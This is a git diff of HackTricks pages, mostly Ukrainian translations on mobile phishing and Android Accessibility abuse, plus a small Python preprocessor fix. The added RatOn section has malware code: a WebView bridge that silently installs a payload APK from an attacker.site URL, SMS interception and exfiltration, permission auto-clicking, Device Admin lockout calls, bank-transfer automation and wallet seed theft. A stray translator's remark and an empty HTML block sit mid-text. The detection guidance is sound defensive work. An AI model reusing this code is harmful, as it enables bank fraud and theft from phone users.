diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 0165a854a..c525f665d 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
# logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path
@@ -54,26 +54,42 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
- chapter, _path = findtitle(href.split("#")[0], book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(href.split("#")[0], book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
else:
- chapter, _path = findtitle(href, book, "source_path")
- logger.debug(f'Recursive title search result: {chapter["name"]}')
- title = chapter['name']
+ result = findtitle(href, book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ title = chapter['name']
+ else:
+ raise Exception(f"Chapter not found for path: {href}")
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
else:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = chapter["name"]
- logger.debug(f'Recursive title search result: {chapter["name"]}')
+ result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = chapter["name"]
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {rel_path}')
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index d4104d430..abe382dcf 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -837,8 +837,9 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index c4098d451..b28d307c9 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -1,67 +1,67 @@
-# Мобільний Фішинг та Розповсюдження Шкідливих Додатків (Android та iOS)
+# Мобільний фішинг і розповсюдження шкідливих додатків (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
-> Ця сторінка охоплює техніки, які використовують зловмисники для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
-> Матеріал адаптовано з кампанії SarangTrap, викритої Zimperium zLabs (2025) та інших публічних досліджень.
+> На цій сторінці описано техніки, які використовують загрозливі актори для розповсюдження **шкідливих Android APKs** і **iOS mobile-configuration profiles** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
+> Матеріал адаптовано з кампанії SarangTrap, оприлюдненої Zimperium zLabs (2025), та інших публічних досліджень.
-## Потік Атаки
+## Хід атаки
-1. **Інфраструктура SEO/Фішингу**
-* Зареєструвати десятки доменів, що схожі (знайомства, хмарне зберігання, автомобільні послуги…).
-– Використовувати ключові слова та емодзі місцевою мовою в елементі `
`, щоб піднятися в Google.
-– Розмістити *обидва* інструкції з установки Android (`.apk`) та iOS на одній цільовій сторінці.
-2. **Перший Етап Завантаження**
-* Android: пряме посилання на *недодаткований* або “додаток з третьої сторони” APK.
-* iOS: `itms-services://` або просте HTTPS посилання на шкідливий **mobileconfig** профіль (див. нижче).
-3. **Соціальна Інженерія Після Встановлення**
-* При першому запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу).
-* Код **POSTиться через HTTP** на Командний та Контрольний (C2) сервер.
-* C2 відповідає `{"success":true}` ➜ шкідливе ПЗ продовжує працювати.
-* Динамічний аналіз пісочниці / AV, який ніколи не подає дійсний код, не бачить **шкідливої поведінки** (евазія).
-4. **Зловживання Дозволами Часу Виконання** (Android)
-* Небезпечні дозволи запитуються **тільки після позитивної відповіді C2**:
+1. **SEO/Phishing Infrastructure**
+* Реєструвати десятки подібних доменів (dating, cloud share, car service…).
+– Використовувати ключові слова місцевою мовою та емодзі в елементі `` для ранжування в Google.
+– Розміщувати інструкції з інсталяції для *Android* (`.apk`) та iOS на одній цільовій сторінці.
+2. **Початкове завантаження**
+* Android: пряма посилання на *непідписаний* або «third-party store» APK.
+* iOS: `itms-services://` або звичайне HTTPS-посилання на шкідливий **mobileconfig** профіль (див. нижче).
+3. **Соціальна інженерія після інсталяції**
+* Під час першого запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу).
+* Код **POSTиться по HTTP** до Command-and-Control (C2).
+* C2 відповідає `{"success":true}` ➜ malware продовжує роботу.
+* Динамічний аналіз Sandbox/AV, який ніколи не відправляє валідний код, не виявляє **шкідливої поведінки** (evade).
+4. **Зловживання дозволами під час виконання (Runtime Permission Abuse)** (Android)
+* Дозволи, що дають значні привілеї, запрошуються тільки **після позитивної відповіді C2**:
```xml
-
+
```
-* Останні варіанти **видаляють `` для SMS з `AndroidManifest.xml`**, але залишають шлях коду Java/Kotlin, який читає SMS через рефлексію ⇒ знижує статичний бал, але все ще функціонує на пристроях, які надають дозвіл через зловживання `AppOps` або старі цілі.
-5. **Фасадний Інтерфейс та Збір Даних у Фоновому Режимі**
-* Додаток показує безпечні екрани (переглядач SMS, вибір галереї), реалізовані локально.
+* Останні варіанти **видаляють `` для SMS з `AndroidManifest.xml`**, але залишають Java/Kotlin код, який читає SMS через reflection ⇒ це знижує статичну оцінку, але залишається функціональним на пристроях, які надають дозвіл через `AppOps` abuse або старі цілі.
+5. **Фасадний UI та збір у фоновому режимі**
+* Додаток показує нешкідливі екрани (SMS viewer, gallery picker), реалізовані локально.
* Тим часом він ексфільтрує:
- IMEI / IMSI, номер телефону
-- Повний дамп `ContactsContract` (JSON масив)
+- Повний дамп `ContactsContract` (JSON array)
- JPEG/PNG з `/sdcard/DCIM`, стиснуті за допомогою [Luban](https://github.com/Curzibn/Luban) для зменшення розміру
-- Додатковий вміст SMS (`content://sms`)
-Payloads **пакуються в архів** і надсилаються через `HTTP POST /upload.php`.
-6. **Техніка Доставки iOS**
-* Один **профіль мобільної конфігурації** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у “MDM”-подібному нагляді.
+- Опційний вміст SMS (`content://sms`)
+Payloads пакетно zip-уються і відправляються через `HTTP POST /upload.php`.
+6. **Техніка доставки для iOS**
+* Одиничний **mobile-configuration profile** може запитувати `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` тощо, щоб зареєструвати пристрій у супервізії, подібній до “MDM”.
* Інструкції соціальної інженерії:
-1. Відкрити Налаштування ➜ *Профіль завантажено*.
-2. Натиснути *Встановити* три рази (скріншоти на фішинговій сторінці).
-3. Довірити недодаткований профіль ➜ зловмисник отримує *Контакти* та *Фото* права без перевірки App Store.
-7. **Мережева Система**
-* Простий HTTP, часто на порту 80 з заголовком HOST, як `api..com`.
+1. Open Settings ➜ *Profile downloaded*.
+2. Tap *Install* три рази (скріншоти на фішинговій сторінці).
+3. Trust the unsigned profile ➜ зловмисник отримує *Contacts* & *Photo* entitlement без перевірки App Store.
+7. **Мережевий рівень**
+* Простий HTTP, часто на порті 80 з HOST header на кшталт `api..com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (без TLS → легко помітити).
-## Тестування Захисту / Поради Червоній Команді
+## Тестування захисту / поради Red-Team
-* **Обхід Динамічного Аналізу** – Під час оцінки шкідливого ПЗ автоматизуйте фазу коду запрошення за допомогою Frida/Objection, щоб досягти шкідливої гілки.
-* **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з часом виконання `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів є червоним прапором.
-* **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні POST-сплески після введення коду.
-* **Перевірка mobileconfig** – Використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перерахувати `PayloadContent` і виявити надмірні права.
+* **Dynamic Analysis Bypass** – під час оцінки malware автоматизуйте фазу введення коду запрошення за допомогою Frida/Objection, щоб дістатися до шкідливої гілки.
+* **Manifest vs. Runtime Diff** – порівняйте `aapt dump permissions` з runtime `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів — червоний прапорець.
+* **Network Canary** – налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE` для виявлення аномальних POST-сплесків після введення коду.
+* **mobileconfig Inspection** – використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перелічити `PayloadContent` і виявити надмірні entitlements.
-## Ідеї для Виявлення Блакитної Команди
+## Ідеї для виявлення Blue-Team
-* **Прозорість Сертифікатів / DNS Аналітика** для виявлення раптових сплесків доменів з багатими ключовими словами.
-* **User-Agent та Path Regex**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play.
-* **Телеметрія Кодів Запрошення** – POST 6–8-значних числових кодів незабаром після установки APK може вказувати на стадіювання.
-* **Підписування MobileConfig** – Блокувати недодатковані профілі конфігурації через політику MDM.
+* **Certificate Transparency / DNS Analytics** для виявлення різкого спалаху доменів, насичених ключовими словами.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` від Dalvik клієнтів поза Google Play.
+* **Invite-code Telemetry** – POST 6–8 цифрових кодів незабаром після встановлення APK може вказувати на стадію підготовки.
+* **MobileConfig Signing** – блокувати непідписані configuration profiles через політику MDM.
-## Корисний Фрагмент Frida: Авто-Обхід Коду Запрошення
+## Корисний фрагмент Frida: автоматичний обхід коду запрошення
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@@ -90,17 +90,17 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
-Цей шаблон спостерігався в кампаніях, які зловживають темами державних пільг для крадіжки індійських UPI облікових даних та OTP. Оператори поєднують авторитетні платформи для доставки та стійкості.
+Цей патерн спостерігався в кампаніях, що використовують теми державних виплат для викрадення індійських UPI облікових даних та OTPs. Оператори ланцюжать авторитетні платформи для доставки та підвищення стійкості.
-### Ланцюг доставки через надійні платформи
-- Відео на YouTube → опис містить коротке посилання
-- Коротке посилання → сайт фішингу на GitHub Pages, що імітує легітимний портал
-- Той же репозиторій GitHub містить APK з підробленою позначкою “Google Play”, що безпосередньо посилається на файл
-- Динамічні фішингові сторінки працюють на Replit; віддалений командний канал використовує Firebase Cloud Messaging (FCM)
+### Delivery chain across trusted platforms
+- YouTube video lure → у описі міститься коротке посилання
+- Коротке посилання → GitHub Pages фішинговий сайт, що імітує легітимний портал
+- Той же GitHub repo розміщує APK з фальшивим “Google Play” значком, що посилається безпосередньо на файл
+- Динамічні фішингові сторінки розміщені на Replit; канал віддалених команд використовує Firebase Cloud Messaging (FCM)
-### Dropper з вбудованим payload та офлайн установкою
-- Перший APK є інсталятором (dropper), який постачає справжнє шкідливе ПЗ за адресою `assets/app.apk` і запитує користувача вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі.
-- Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після установки як інсталятор, так і payload присутні як окремі додатки.
+### Dropper with embedded payload and offline install
+- Перший APK — встановник (dropper), який доставляє реальний malware у `assets/app.apk` і підказує користувачу вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі.
+- Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після встановлення і встановник, і payload присутні як окремі додатки.
Static triage tip (grep for embedded payloads):
```bash
@@ -108,10 +108,10 @@ unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
-### Динамічне виявлення кінцевих точок через коротке посилання
-- Шкідливе ПЗ отримує список активних кінцевих точок у простому текстовому форматі, розділеному комами, з короткого посилання; прості перетворення рядків створюють фінальний шлях фішингової сторінки.
+### Динамічне виявлення endpoints через shortlink
+- Malware отримує plain-text, comma-separated список активних endpoints з shortlink; прості string transforms генерують фінальний phishing page path.
-Приклад (санітизований):
+Приклад (санітизовано):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@@ -128,26 +128,26 @@ String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
-- Крок “Зробити платіж ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного кінцевого пункту всередині WebView і захоплює чутливі поля (телефон, банк, UPI PIN), які `POST`яться на `addup.php`.
+- Крок “Make payment of ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного endpoint всередині WebView і захоплює конфіденційні поля (номер телефону, банк, UPI PIN), які `POST`яться до `addup.php`.
-Minimal loader:
+Мінімальний loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https:///gate.htm
```
### Саморозповсюдження та перехоплення SMS/OTP
-- Запитуються агресивні дозволи при першому запуску:
+- Під час першого запуску запитуються агресивні дозволи:
```xml
```
-- Контакти використовуються для масової відправки смс-фішингу з пристрою жертви.
-- Вхідні смс перехоплюються приймачем трансляції та завантажуються з метаданими (відправник, текст, SIM-слот, випадковий ID для кожного пристрою) на `/addsm.php`.
+- Контакти перебираються для масової розсилки smishing SMS з пристрою жертви.
+- Вхідні SMS перехоплюються broadcast receiver і завантажуються з метаданими (sender, body, SIM slot, per-device random ID) до `/addsm.php`.
-Схема приймача:
+Ескіз receiver:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@@ -162,9 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
}
```
### Firebase Cloud Messaging (FCM) як стійкий C2
-- Payload реєструється в FCM; push-повідомлення містять поле `_type`, яке використовується як перемикач для активації дій (наприклад, оновлення шаблонів тексту фішингу, перемикання поведінки).
-
-Приклад payload FCM:
+- The payload реєструється в FCM; push messages містять поле `_type`, яке використовується як перемикач для запуску дій (наприклад, оновлення шаблонів текстів phishing, перемикання поведінки).
```json
{
"to": "",
@@ -186,27 +184,177 @@ case "smish": sendSmishToContacts(); break;
}
}
```
-### Hunting patterns and IOCs
-- APK містить вторинний вантаж у `assets/app.apk`
-- WebView завантажує платіж з `gate.htm` і ексфільтрує до `/addup.php`
-- Ексфільтрація SMS до `/addsm.php`
-- Конфігурація, що отримується через короткі посилання (наприклад, `rebrand.ly/*`), що повертає CSV кінцеві точки
-- Додатки, позначені як загальні “Оновлення/Безпечне оновлення”
-- FCM `data` повідомлення з `_type` дискримінатором в ненадійних додатках
+### Шаблони полювання та IOCs
+- APK contains secondary payload at `assets/app.apk`
+- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
+- SMS exfiltration to `/addsm.php`
+- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
+- Apps labelled as generic “Update/Secure Update”
+- FCM `data` messages with a `_type` discriminator in untrusted apps
-### Detection & defence ideas
-- Позначати додатки, які інструктують користувачів вимкнути мережу під час установки, а потім завантажити другий APK з `assets/`.
-- Сповіщати про кортеж дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + платіжні потоки на основі WebView.
-- Моніторинг виходу для `POST /addup.php|/addsm.php` на не корпоративних хостах; блокувати відомі інфраструктури.
-- Правила мобільного EDR: ненадійний додаток, що реєструється для FCM і розгалужується на основі поля `_type`.
+### Ідеї виявлення та захисту
+- Позначати додатки, які просять користувачів вимкнути мережу під час інсталяції, а потім side-load другого APK з `assets/`.
+- Сигналізувати при кортежі дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
+- Моніторинг egress для `POST /addup.php|/addsm.php` на некорпоративних хостах; блокувати відому інфраструктуру.
+- Правила Mobile EDR: untrusted app, що реєструється для FCM і розгалужується по полю `_type`.
---
+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – Кейс RatOn
+
+Кампанія RatOn banker/RAT (ThreatFabric) — конкретний приклад того, як сучасні mobile phishing операції поєднують WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), захоплення crypto wallet та навіть NFC-relay orchestration. Цей розділ абстрагує повторно використовувані техніки.
+
+### Stage-1: WebView → native install bridge (dropper)
+Атакувальники відображають WebView, що завантажує сторінку атакуючого, і інжектять JavaScript interface, який надає доступ до native installer. Натиск на HTML-кнопку викликає native code, який встановлює second-stage APK, вбудований у assets дроппера, а потім одразу його запускає.
+
+Мінімальний патерн:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Я не бачу вмісту сторінки. Будь ласка, вставте HTML/markdown, який потрібно перекласти. Я перекладу видимий англомовний текст українською, залишаючи без змін код, теги, посилання, шляхи, назви технік та інші елементи, зазначені у ваших інструкціях.
+```html
+
+```
+Після встановлення dropper запускає payload через явний package/activity:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Hunting idea: недовірені додатки, які викликають `addJavascriptInterface()` і відкривають installer-like methods для WebView; APK, що постачає вбудований вторинний payload у `assets/` і викликає Package Installer Session API.
+
+### Воронка згоди: Accessibility + Device Admin + follow-on runtime prompts
+Stage-2 відкриває WebView, який містить сторінку “Access”. Її кнопка викликає exported method, що переводить жертву до налаштувань Accessibility і просить увімкнути rogue service. Після надання, malware використовує Accessibility, щоб автоматично натискати кнопки в наступних діалогах runtime permission (contacts, overlay, manage system settings тощо) і запитує Device Admin.
+
+- Accessibility програмно допомагає приймати подальші запити, знаходячи кнопки типу “Allow”/“OK” в node-tree і відправляючи кліки.
+- Перевірка/запит дозволу overlay:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+Див. також:
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom через WebView
+Оператори можуть надсилати команди, щоб:
+- відобразити full-screen overlay з URL, або
+- передати inline HTML, яке завантажується в WebView overlay.
+
+Ймовірні застосування: coercion (введення PIN), відкриття wallet для перехоплення PIN, ransom-повідомлення. Передбачте команду, яка перевіряє та забезпечує наявність дозволу overlay, якщо його бракує.
+
+### Remote control model – текстовий pseudo-screen + screen-cast
+- Низька пропускна здатність: періодично дампити Accessibility node tree, серіалізувати видимі тексти/ролі/bounds і відправляти на C2 як pseudo-screen (команди на кшталт `txt_screen` для одноразового, та `screen_live` для безперервного).
+- Висока деталізація: запитати MediaProjection і запускати screen-casting/запис за запитом (команди на кшталт `display` / `record`).
+
+### ATS playbook (автоматизація банківського додатку)
+Отримавши JSON-завдання, відкрити банківський додаток, керувати UI через Accessibility, комбінуючи текстові запити та натискання по координатах, і ввести платіжний PIN жертви, коли буде запитано.
+
+Приклад завдання:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Example texts seen in one target flow (CZ → EN):
+- "Nová platba" → "Нова оплата"
+- "Zadat platbu" → "Ввести платіж"
+- "Nový příjemce" → "Новий одержувач"
+- "Domácí číslo účtu" → "Номер внутрішнього рахунку"
+- "Další" → "Далі"
+- "Odeslat" → "Надіслати"
+- "Ano, pokračovat" → "Так, продовжити"
+- "Zaplatit" → "Сплатити"
+- "Hotovo" → "Готово"
+
+Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
+
+### Crypto wallet seed extraction
+Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
+
+### Device Admin coercion
+Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
+
+- Негайне блокування:
+```java
+dpm.lockNow();
+```
+- Примусово зробити поточні облікові дані недійсними, щоб змусити зміну (Accessibility перехоплює новий PIN/пароль):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- Примусово перейти на розблокування без біометрії, вимкнувши біометричні функції keyguard:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Note: Багато контролів DevicePolicyManager вимагають Device Owner/Profile Owner на сучасних Android; деякі OEM-збірки можуть бути менш строгими. Завжди перевіряйте на цільовій ОС/OEM.
+
+### NFC relay orchestration (NFSkate)
+Stage-3 може встановити та запустити зовнішній модуль NFC-relay (наприклад, NFSkate) і навіть передати йому HTML-шаблон, щоб підказувати жертві під час реле. Це дозволяє здійснювати безконтактні cash-out за карткою при фізичній присутності разом з online ATS.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator command set (sample)
+- UI/state: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
+- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Detection & defence ideas (RatOn-style)
+- Шукайте WebViews із `addJavascriptInterface()` що відкривають методи інсталятора/дозволів; сторінки, що закінчуються на “/access” і викликають Accessibility-підказки.
+- Сигналізуйте про додатки, які генерують високоінтенсивні Accessibility жести/кліки незабаром після надання доступу до сервісу; телеметрія, що нагадує дампи Accessibility node, відправлені на C2.
+- Моніторте зміни політик Device Admin в ненадійних додатках: `lockNow`, закінчення терміну пароля, перемикання функцій keyguard.
+- Сигналізуйте про MediaProjection-підказки від некорпоративних додатків, за якими слідують періодичні завантаження кадрів.
+- Виявляйте інсталяцію/запуск зовнішнього NFC-relay додатка, ініційованого іншим додатком.
+- Для банкінгу: впровадьте позаканальні підтвердження, прив'язку біометрії та ліміти транзакцій, стійкі до автоматизації на пристрої.
+
## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
index 021b8ea73..cd433fac7 100644
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@@ -1,24 +1,24 @@
-# Зловживання службами доступності Android
+# Зловживання Android Accessibility Service
{{#include ../../banners/hacktricks-training.md}}
## Огляд
-`AccessibilityService` була створена, щоб допомогти користувачам з обмеженими можливостями взаємодіяти з пристроями Android. На жаль, ті ж **потужні API автоматизації** (глобальна навігація, введення тексту, обробка жестів, вікна накладок…) можуть бути використані шкідливим ПЗ для отримання **повного віддаленого контролю** над пристроєм _без прав root_.
+`AccessibilityService` було створено, щоб допомогти користувачам з інвалідністю взаємодіяти з пристроями Android. На жаль, ті самі **потужні automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) можуть бути використані шкідливим ПЗ для отримання **повного віддаленого контролю** над телефоном _без привілеїв root_.
-Сучасні банківські трояни Android та трояни віддаленого доступу (RAT) такі як **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** та багато інших слідують одному й тому ж рецепту:
+Сучасні Android banking Trojans та Remote-Access-Trojans (RATs) такі як **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** та багато інших дотримуються одного й того ж сценарію:
-1. Соціально інженерити жертву, щоб вона ввімкнула зловмисну службу доступності (дозвіл *BIND_ACCESSIBILITY_SERVICE* вважається "високим ризиком" і вимагає явної дії користувача).
-2. Використовувати службу для
-* захоплення кожної події UI та тексту, що з'являється на екрані,
-* ін'єкції синтетичних жестів (`dispatchGesture`) та глобальних дій (`performGlobalAction`), щоб автоматизувати будь-яке завдання, яке бажає оператор,
-* малювання накладок на весь екран поверх легітимних додатків, використовуючи тип вікна **TYPE_ACCESSIBILITY_OVERLAY** (без запиту `SYSTEM_ALERT_WINDOW`!),
-* безшумного надання додаткових дозволів під час виконання, натискаючи на системні діалоги від імені жертви.
-3. Екстракція даних або виконання **On-Device-Fraud (ODF)** в реальному часі, поки користувач дивиться на цілком нормальний екран.
+1. Соціально-інженерити жертву, щоб вона увімкнула зловмисний accessibility service (the *BIND_ACCESSIBILITY_SERVICE* permission is considered "high-risk" and requires an explicit user action).
+2. Використати сервіс для
+* перехоплення кожної події UI та тексту, що з'являється на екрані,
